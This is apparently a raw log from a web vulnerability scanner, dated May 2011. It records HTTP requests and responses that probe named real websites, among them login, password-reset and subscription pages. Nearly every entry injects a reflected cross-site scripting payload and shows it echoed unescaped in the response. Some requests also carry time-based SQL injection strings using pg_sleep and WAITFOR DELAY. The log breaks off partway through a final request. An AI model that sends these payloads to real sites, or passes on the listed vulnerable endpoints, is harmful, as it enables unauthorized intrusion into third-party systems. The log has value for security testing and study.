HTTP/1.1 400 Bad Request
P3P: CP="CAO PSA OUR"
Content-Type: text/html; charset=UTF-8
Date: Fri, 06 May 2011 21:13:20 GMT
Expires: Fri, 06 May 2011 21:13:20 GMT
Cache-Control: private, max-age=0
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Server: GSE
Content-Length: 138

Unable to retrieve spec for http://www.google.com/friendconnect/gadgets/newsletterSubscribe.xml9f349
alert(1)//0354955d84e. HTTP error 400

GET /pub3e0ed<img%20src%3da%20onerror%3dalert(1)>c7f680ee50/banner_160_600.php HTTP/1.1
Host: kroogy.com
Proxy-Connection: keep-alive
Referer: http://kroogy.com/search/web/Linkbucks%20vlad%20modelS
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: nscriptinfo=75cb7e9c9ffe8c8a168e0e32a6695d87; __utmz=221607367.1303658380.5.3.utmcsr=kroogy.com|utmccn=(referral)|utmcmd=referral|utmcct=/index.php; __utma=221607367.144172721.1303647943.1303658380.1303738749.6

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 22:04:07 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.2.10
X-Powered-By: PleskLin
Vary: Accept-Encoding
Connection: close
Content-Type: text/html
Content-Length: 2125

<html>
   <head>
<meta HTTP-EQUIV="REFRESH" content="0; url=http://www.kroogy.com/search/amazon?search=mp3&type=Amazon&fl=0">
       <style>
       <!--
       .nesoternd { padding: 0px;margin:0 0px; background-color:
...[SNIP]...
<strong>Pub3e0ed<img src=a onerror=alert(1)>c7f680ee50Controller</strong>
...[SNIP]...

GET /pub15bf1<img%20src%3da%20onerror%3dalert(1)>c26cf5636dc/banner_728_90_random.php HTTP/1.1
Accept: */*
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Proxy-Connection: Keep-Alive
Host: kroogy.com

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 22:03:28 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.2.10
X-Powered-By: PleskLin
Vary: Accept-Encoding
Connection: close
Content-Type: text/html
Content-Length: 2126

<html>
   <head>
<meta HTTP-EQUIV="REFRESH" content="0; url=http://www.kroogy.com/search/amazon?search=mp3&type=Amazon&fl=0">
       <style>
       <!--
       .nesoternd { padding: 0px;margin:0 0px; background-color:
...[SNIP]...
<strong>Pub15bf1<img src=a onerror=alert(1)>c26cf5636dcController</strong>
...[SNIP]...

GET /searchc3d36<img%20src%3da%20onerror%3dalert(1)>1f123855a7/web/Linkbucks%20vlad%20modelS HTTP/1.1
Host: kroogy.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: nscriptinfo=75cb7e9c9ffe8c8a168e0e32a6695d87; __utmz=221607367.1303658380.5.3.utmcsr=kroogy.com|utmccn=(referral)|utmcmd=referral|utmcct=/index.php; __utma=221607367.144172721.1303647943.1303658380.1303738749.6

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 22:07:47 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.2.10
X-Powered-By: PleskLin
Vary: Accept-Encoding
Connection: close
Content-Type: text/html
Content-Length: 2128

<html>
   <head>
<meta HTTP-EQUIV="REFRESH" content="0; url=http://www.kroogy.com/search/amazon?search=mp3&type=Amazon&fl=0">
       <style>
       <!--
       .nesoternd { padding: 0px;margin:0 0px; background-color:
...[SNIP]...
<strong>Searchc3d36<img src=a onerror=alert(1)>1f123855a7Controller</strong>
...[SNIP]...

GET /search/web19465<img%20src%3da%20onerror%3dalert(1)>7fccbdccd2f/Linkbucks%20vlad%20modelS HTTP/1.1
Host: kroogy.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: nscriptinfo=75cb7e9c9ffe8c8a168e0e32a6695d87; __utmz=221607367.1303658380.5.3.utmcsr=kroogy.com|utmccn=(referral)|utmcmd=referral|utmcct=/index.php; __utma=221607367.144172721.1303647943.1303658380.1303738749.6

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 22:07:56 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.2.10
X-Powered-By: PleskLin
Vary: Accept-Encoding
Connection: close
Content-Type: text/html
Content-Length: 2117

<html>
   <head>
<meta HTTP-EQUIV="REFRESH" content="0; url=http://www.kroogy.com/search/amazon?search=mp3&type=Amazon&fl=0">
       <style>
       <!--
       .nesoternd { padding: 0px;margin:0 0px; background-color:
...[SNIP]...
<strong>web19465<img src=a onerror=alert(1)>7fccbdccd2f</strong>
...[SNIP]...

GET /sendpassword?button1=Get+Passwordf7917<script>alert(1)</script>a6e02e7e600&button2=Get+User+Name&forgetbrand=null&forwardpage=login.jsp&replace0_ul_=%27%3BSELECT%20pg_sleep(25)--&replace1_ul_=3&totalvalues=3 HTTP/1.1
Host: learn.bridgefront.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=199010044.1303780600.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=199010044.1310163297.1303780600.1303780600.1303780600.1

HTTP/1.1 500 Internal Server Error
Date: Fri, 06 May 2011 22:09:30 GMT
Server: Apache/2.2.3 (Red Hat)
Set-Cookie: JSESSIONID=AD543B39B2162043DABD3434006F7DBE; Path=/
Content-Length: 6471
Connection: close
Content-Type: text/html; charset=UTF-8

<html>
<head><title>Application Error </title>

<script language="JavaScript" type="text/JavaScript">

   function showdiv2(param)
   {
    if(param=="show")
    {
    document.all.div1.style.visi
...[SNIP]...
<b>
SERVER NAME: learn.bridgefront.com

SERVER PORT: 80

REMOTE HOST: 173.193.214.243

EXCEPTION: java.lang.NullPointerException

JSP REQUESTED: /errorpage.jsp?button1=Get+Passwordf7917<script>alert(1)</script>a6e02e7e600&button2=Get+User+Name&forgetbrand=null&forwardpage=login.jsp&replace0_ul_=%27%3BSELECT%20pg_sleep(25)--&replace1_ul_=3&totalvalues=3

<table border="0">
...[SNIP]...

GET /sendpassword?button1=Get+Password&button2=Get+User+Namef1d32<script>alert(1)</script>81b609eefc9&forgetbrand=null&forwardpage=login.jsp&replace0_ul_=%27%3BSELECT%20pg_sleep(25)--&replace1_ul_=3&totalvalues=3 HTTP/1.1
Host: learn.bridgefront.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=199010044.1303780600.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=199010044.1310163297.1303780600.1303780600.1303780600.1

HTTP/1.1 500 Internal Server Error
Date: Fri, 06 May 2011 22:20:26 GMT
Server: Apache/2.2.3 (Red Hat)
Set-Cookie: JSESSIONID=1A39AB27A0B048AF89C51833109C8048; Path=/
Content-Length: 6471
Connection: close
Content-Type: text/html; charset=UTF-8

<html>
<head><title>Application Error </title>

<script language="JavaScript" type="text/JavaScript">

   function showdiv2(param)
   {
    if(param=="show")
    {
    document.all.div1.style.visi
...[SNIP]...
>
SERVER NAME: learn.bridgefront.com

SERVER PORT: 80

REMOTE HOST: 173.193.214.243

EXCEPTION: java.lang.NullPointerException

JSP REQUESTED: /errorpage.jsp?button1=Get+Password&button2=Get+User+Namef1d32<script>alert(1)</script>81b609eefc9&forgetbrand=null&forwardpage=login.jsp&replace0_ul_=%27%3BSELECT%20pg_sleep(25)--&replace1_ul_=3&totalvalues=3

<table border="0">
...[SNIP]...

GET /sendpassword?button1=Get+Password&button2=Get+User+Name&forgetbrand=nulle9121<script>alert(1)</script>f3274d52418&forwardpage=login.jsp&replace0_ul_=%27%3BSELECT%20pg_sleep(25)--&replace1_ul_=3&totalvalues=3 HTTP/1.1
Host: learn.bridgefront.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=199010044.1303780600.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=199010044.1310163297.1303780600.1303780600.1303780600.1

HTTP/1.1 500 Internal Server Error
Date: Fri, 06 May 2011 22:31:21 GMT
Server: Apache/2.2.3 (Red Hat)
Set-Cookie: JSESSIONID=9695723B5707A0A14E3F1D2C5FCE2A02; Path=/
Content-Length: 6471
Connection: close
Content-Type: text/html; charset=UTF-8

<html>
<head><title>Application Error </title>

<script language="JavaScript" type="text/JavaScript">

   function showdiv2(param)
   {
    if(param=="show")
    {
    document.all.div1.style.visi
...[SNIP]...
earn.bridgefront.com

SERVER PORT: 80

REMOTE HOST: 173.193.214.243

EXCEPTION: java.lang.NullPointerException

JSP REQUESTED: /errorpage.jsp?button1=Get+Password&button2=Get+User+Name&forgetbrand=nulle9121<script>alert(1)</script>f3274d52418&forwardpage=login.jsp&replace0_ul_=%27%3BSELECT%20pg_sleep(25)--&replace1_ul_=3&totalvalues=3

<table border="0">
...[SNIP]...

GET /sendpassword?button1=Get+Password&button2=Get+User+Name&forgetbrand=null&forwardpage=login.jsp43a96<script>alert(1)</script>7664851d448&replace0_ul_=%27%3BSELECT%20pg_sleep(25)--&replace1_ul_=3&totalvalues=3 HTTP/1.1
Host: learn.bridgefront.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=199010044.1303780600.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=199010044.1310163297.1303780600.1303780600.1303780600.1

HTTP/1.1 500 Internal Server Error
Date: Fri, 06 May 2011 22:45:38 GMT
Server: Apache/2.2.3 (Red Hat)
Set-Cookie: JSESSIONID=B2D8F44A4079D6989583448FA8EBFCD9; Path=/
Content-Length: 6471
Connection: close
Content-Type: text/html; charset=UTF-8

<html>
<head><title>Application Error </title>

<script language="JavaScript" type="text/JavaScript">

   function showdiv2(param)
   {
    if(param=="show")
    {
    document.all.div1.style.visi
...[SNIP]...
SERVER PORT: 80

REMOTE HOST: 173.193.214.243

EXCEPTION: java.lang.NullPointerException

JSP REQUESTED: /errorpage.jsp?button1=Get+Password&button2=Get+User+Name&forgetbrand=null&forwardpage=login.jsp43a96<script>alert(1)</script>7664851d448&replace0_ul_=%27%3BSELECT%20pg_sleep(25)--&replace1_ul_=3&totalvalues=3

<table border="0">
...[SNIP]...

GET /sendpassword?button1=Get+Password&button2=Get+User+Name&forgetbrand=null&forwardpage=login.jsp&replace0_ul_=%27%3BSELECT%20pg_sleep(25)--&replace1_ul_=3&totalvalues=3&5f2cc<script>alert(1)</script>b056eb85e91=1 HTTP/1.1
Host: learn.bridgefront.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=199010044.1303780600.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=199010044.1310163297.1303780600.1303780600.1303780600.1

HTTP/1.1 500 Internal Server Error
Date: Fri, 06 May 2011 23:38:04 GMT
Server: Apache/2.2.3 (Red Hat)
Set-Cookie: JSESSIONID=4857F165EACF9C1A4E3140B4CD6C7B6B; Path=/
Content-Length: 6474
Connection: close
Content-Type: text/html; charset=UTF-8

<html>
<head><title>Application Error </title>

<script language="JavaScript" type="text/JavaScript">

   function showdiv2(param)
   {
    if(param=="show")
    {
    document.all.div1.style.visi
...[SNIP]...
ointerException

JSP REQUESTED: /errorpage.jsp?button1=Get+Password&button2=Get+User+Name&forgetbrand=null&forwardpage=login.jsp&replace0_ul_=%27%3BSELECT%20pg_sleep(25)--&replace1_ul_=3&totalvalues=3&5f2cc<script>alert(1)</script>b056eb85e91=1

<table border="0">
...[SNIP]...

GET /sendpassword?button1=Get+Password&button2=Get+User+Name&forgetbrand=null&forwardpage=login.jsp&replace0_ul_=%27%3BSELECT%20pg_sleep(25)--6728f<script>alert(1)</script>cb43f085596&replace1_ul_=3&totalvalues=3 HTTP/1.1
Host: learn.bridgefront.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=199010044.1303780600.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=199010044.1310163297.1303780600.1303780600.1303780600.1

HTTP/1.1 500 Internal Server Error
Date: Fri, 06 May 2011 22:59:54 GMT
Server: Apache/2.2.3 (Red Hat)
Set-Cookie: JSESSIONID=EBDDE581391985FB7AFB4871D64D33CB; Path=/
Content-Length: 6471
Connection: close
Content-Type: text/html; charset=UTF-8

<html>
<head><title>Application Error </title>

<script language="JavaScript" type="text/JavaScript">

   function showdiv2(param)
   {
    if(param=="show")
    {
    document.all.div1.style.visi
...[SNIP]...
43

EXCEPTION: java.lang.NullPointerException

JSP REQUESTED: /errorpage.jsp?button1=Get+Password&button2=Get+User+Name&forgetbrand=null&forwardpage=login.jsp&replace0_ul_=%27%3BSELECT%20pg_sleep(25)--6728f<script>alert(1)</script>cb43f085596&replace1_ul_=3&totalvalues=3

<table border="0">
...[SNIP]...

GET /sendpassword?button1=Get+Password&button2=Get+User+Name&forgetbrand=null&forwardpage=login.jsp&replace0_ul_=%27%3BSELECT%20pg_sleep(25)--&replace1_ul_=34364a<script>alert(1)</script>7b5aaa36f8a&totalvalues=3 HTTP/1.1
Host: learn.bridgefront.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=199010044.1303780600.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=199010044.1310163297.1303780600.1303780600.1303780600.1

HTTP/1.1 500 Internal Server Error
Date: Fri, 06 May 2011 23:08:42 GMT
Server: Apache/2.2.3 (Red Hat)
Set-Cookie: JSESSIONID=60C3DEE51835B2637DD8623D228E3CF7; Path=/
Content-Length: 6471
Connection: close
Content-Type: text/html; charset=UTF-8

<html>
<head><title>Application Error </title>

<script language="JavaScript" type="text/JavaScript">

   function showdiv2(param)
   {
    if(param=="show")
    {
    document.all.div1.style.visi
...[SNIP]...
java.lang.NullPointerException

JSP REQUESTED: /errorpage.jsp?button1=Get+Password&button2=Get+User+Name&forgetbrand=null&forwardpage=login.jsp&replace0_ul_=%27%3BSELECT%20pg_sleep(25)--&replace1_ul_=34364a<script>alert(1)</script>7b5aaa36f8a&totalvalues=3

<table border="0">
...[SNIP]...

GET /sendpassword?button1=Get+Password&button2=Get+User+Name&forgetbrand=null&forwardpage=login.jsp&replace0_ul_=%27%3BSELECT%20pg_sleep(25)--&replace1_ul_=3&totalvalues=3cf847<script>alert(1)</script>aac6a0e8002 HTTP/1.1
Host: learn.bridgefront.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=199010044.1303780600.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=199010044.1310163297.1303780600.1303780600.1303780600.1

HTTP/1.1 500 Internal Server Error
Date: Fri, 06 May 2011 23:23:23 GMT
Server: Apache/2.2.3 (Red Hat)
Set-Cookie: JSESSIONID=D667D7ACE515F68FAD80C1A183A8E4FD; Path=/
Content-Length: 6471
Connection: close
Content-Type: text/html; charset=UTF-8

<html>
<head><title>Application Error </title>

<script language="JavaScript" type="text/JavaScript">

   function showdiv2(param)
   {
    if(param=="show")
    {
    document.all.div1.style.visi
...[SNIP]...
PointerException

JSP REQUESTED: /errorpage.jsp?button1=Get+Password&button2=Get+User+Name&forgetbrand=null&forwardpage=login.jsp&replace0_ul_=%27%3BSELECT%20pg_sleep(25)--&replace1_ul_=3&totalvalues=3cf847<script>alert(1)</script>aac6a0e8002

<table border="0">
...[SNIP]...

GET /AccountManager/ResetPassword/index.asp?message=Invalid%20Username%20/%20Passwordecadb<script>alert(1)</script>6684c5b90cb640ea3&username=&existingPassword=&newPassword= HTTP/1.1
Referer: http://login.vindicosuite.com/AccountManager/ResetPassword/index.asp?message=Invalid%20Username%20/%20Password
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: login.vindicosuite.com
Cookie: ASPSESSIONIDSSSCTDAT=MBNPJKACNAJKJFBPLELMNGGF
Accept-Encoding: gzip, deflate

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 3707
Content-Type: text/html
Server: Microsoft-IIS/7.0
X-Powered-By: ASP.NET
Date: Fri, 06 May 2011 17:20:55 GMT

<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml">

<head>
   <title>Password Reset</title>

   <script type="text
...[SNIP]...
<div class='divMessage'>Invalid Username / Passwordecadb<script>alert(1)</script>6684c5b90cb640ea3</div>
...[SNIP]...

GET /AccountManager/ResetPassword/index.asp?message=Invalid%20Username%20/%20Password6c34d<script>alert(1)</script>032f27b5100 HTTP/1.1
Host: login.vindicosuite.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASPSESSIONIDSSSCTDAT=ANMPJKACDGDFKLLGFIHDPGOP

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 3701
Content-Type: text/html
Server: Microsoft-IIS/7.0
X-Powered-By: ASP.NET
Date: Fri, 06 May 2011 17:19:36 GMT

<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml">

<head>
   <title>Password Reset</title>

   <script type="text
...[SNIP]...
<div class='divMessage'>Invalid Username / Password6c34d<script>alert(1)</script>032f27b5100</div>
...[SNIP]...

GET /default.asp?message=Invalid%20Username%20and%20or%20Password8a741<script>alert(1)</script>c3baafbd359 HTTP/1.1
Host: login.vindicosuite.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASPSESSIONIDSSSCTDAT=ANMPJKACDGDFKLLGFIHDPGOP

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 2335
Content-Type: text/html
Server: Microsoft-IIS/7.0
X-Powered-By: ASP.NET
Date: Fri, 06 May 2011 17:21:14 GMT

<html>

<head>
   <meta http-equiv="Content-Type" content="text/html; charset=windows-1252">
   <META HTTP-EQUIV="CACHE-CONTROL" CONTENT="NO-CACHE">

   <link rel="stylesheet" type="text/css" hre
...[SNIP]...
<td width="247" height="33" colspan="2">Invalid Username and or Password8a741<script>alert(1)</script>c3baafbd359</td>
...[SNIP]...

GET /default.asp?message=Invalid%20Username%20and%20or%20Password51889<script>alert(1)</script>3e60f2b813cb8e4d1&password=%27;WAITFOR%20DELAY%20%270:0:0%27-- HTTP/1.1
Referer: http://login.vindicosuite.com/vindico_dynamic.asp
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: login.vindicosuite.com
Cookie: ASPSESSIONIDSSSCTDAT=CMNPJKACHIDMMJGMMEKHFGND
Accept-Encoding: gzip, deflate

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 2341
Content-Type: text/html
Server: Microsoft-IIS/7.0
X-Powered-By: ASP.NET
Date: Fri, 06 May 2011 17:32:21 GMT

<html>

<head>
   <meta http-equiv="Content-Type" content="text/html; charset=windows-1252">
   <META HTTP-EQUIV="CACHE-CONTROL" CONTENT="NO-CACHE">

   <link rel="stylesheet" type="text/css" hre
...[SNIP]...
<td width="247" height="33" colspan="2">Invalid Username and or Password51889<script>alert(1)</script>3e60f2b813cb8e4d1</td>
...[SNIP]...

GET /gadgets/ifr?url=http://www.google.com/friendconnect/gadgets/members.xml953fa%0aalert(1)//44bb86f9bed&container=peoplesense&parent=http://allatsea.net/&mid=0&view=profile&d=0.558.7&lang=en&communityId=14672211859858017590&caller=http://allatsea.net/ HTTP/1.1
Host: r1rk9np7bpcsfoeekl0khkd2juj27q3o-a-fc-opensocial.googleusercontent.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

HTTP/1.1 400 Bad Request
P3P: CP="CAO PSA OUR"
Content-Type: text/html; charset=UTF-8
Date: Fri, 06 May 2011 21:06:58 GMT
Expires: Fri, 06 May 2011 21:06:58 GMT
Cache-Control: private, max-age=0
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Server: GSE
Content-Length: 126

Unable to retrieve spec for http://www.google.com/friendconnect/gadgets/members.xml953fa
alert(1)//44bb86f9bed. HTTP error 400

GET /visitor/addons/deploy.asp?site=56727252ec21a%0aalert(1)//7e817ac7b43&d_id=software-soa HTTP/1.1
Host: sales.liveperson.net
Proxy-Connection: keep-alive
Referer: http://www.dynamicperimeter.com/download/Intel_Expressway_Tokenization_Broker/?partnerref=googletokenization&gclid=CMLLqMvV1KgCFUSo4AodlBcAgw
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: LivePersonID=LP i=16601209214853,d=1303177644; _mkto_trk=id:220-ESA-932&token:_mch-liveperson.net-1304643823223-44198

HTTP/1.1 500 Internal Server Error
Date: Sat, 07 May 2011 01:21:46 GMT
Server: Microsoft-IIS/6.0
P3P: CP="NON BUS INT NAV COM ADM CON CUR IVA IVD OTP PSA PSD TEL SAM"
X-Powered-By: ASP.NET
Content-Length: 459
Content-Type: text/html
Set-Cookie: ASPSESSIONIDSSQSQTAC=IOMLOCHABCHAGDICAICNNINC; path=/
Cache-control: private

//Plugins for site 56727252ec21a
alert(1)//7e817ac7b43
<font face="Arial" size=2>
<p>Server.MapPath()</font> <font face="Arial" size=2>error 'ASP 0174 : 80004005'</font>
<p>
<font face="Arial" size=
...[SNIP]...

POST /index.php HTTP/1.1
Referer: https://secure.trust-guard.com/index.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: secure.trust-guard.com
Cookie: PHPSESSID=todvqp9ae2pb55so66dlntmpe4
Accept-Encoding: gzip, deflate
Content-Length: 38

btnLogin=Submit&txtEmail=16a1d<script>alert(1)</script>7c0a4356b71&txtPassword=

HTTP/1.1 200 OK
Date: Sat, 07 May 2011 00:57:38 GMT
Server: Apache/2.2.3 (CentOS)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID ADMa OPTa OUR NOR"
Content-Length: 5133
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >
<head>

<script type="text/ja
...[SNIP]...
<span id='lblResult' style='color:red; ' >We could not find the account 16a1d<script>alert(1)</script>7c0a4356b71.</span>
...[SNIP]...

GET /scm/?form=4039d"%3balert(1)//8ac54b4c9a7 HTTP/1.1
Host: subscribe.haymarketmedia.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.5
Set-Cookie: ASP.NET_SessionId=xgwhobb5t5qhqnfgg1yyct45; path=/; HttpOnly
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Date: Fri, 06 May 2011 21:49:28 GMT
Content-Length: 5494

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" >
<head><link href="Pubs/SC
...[SNIP]...
<script type="text/javascript">
var pageTracker = _gat._getTracker("UA-1290429-25");
pageTracker._initData();
pageTracker._trackPageview("scm_4039d";alert(1)//8ac54b4c9a7_IS1105");
</script>
...[SNIP]...

GET /app/answers/list/?1cdc4"><a>ac9888ba52a=1 HTTP/1.1
Host: support.expedia.com
Proxy-Connection: keep-alive
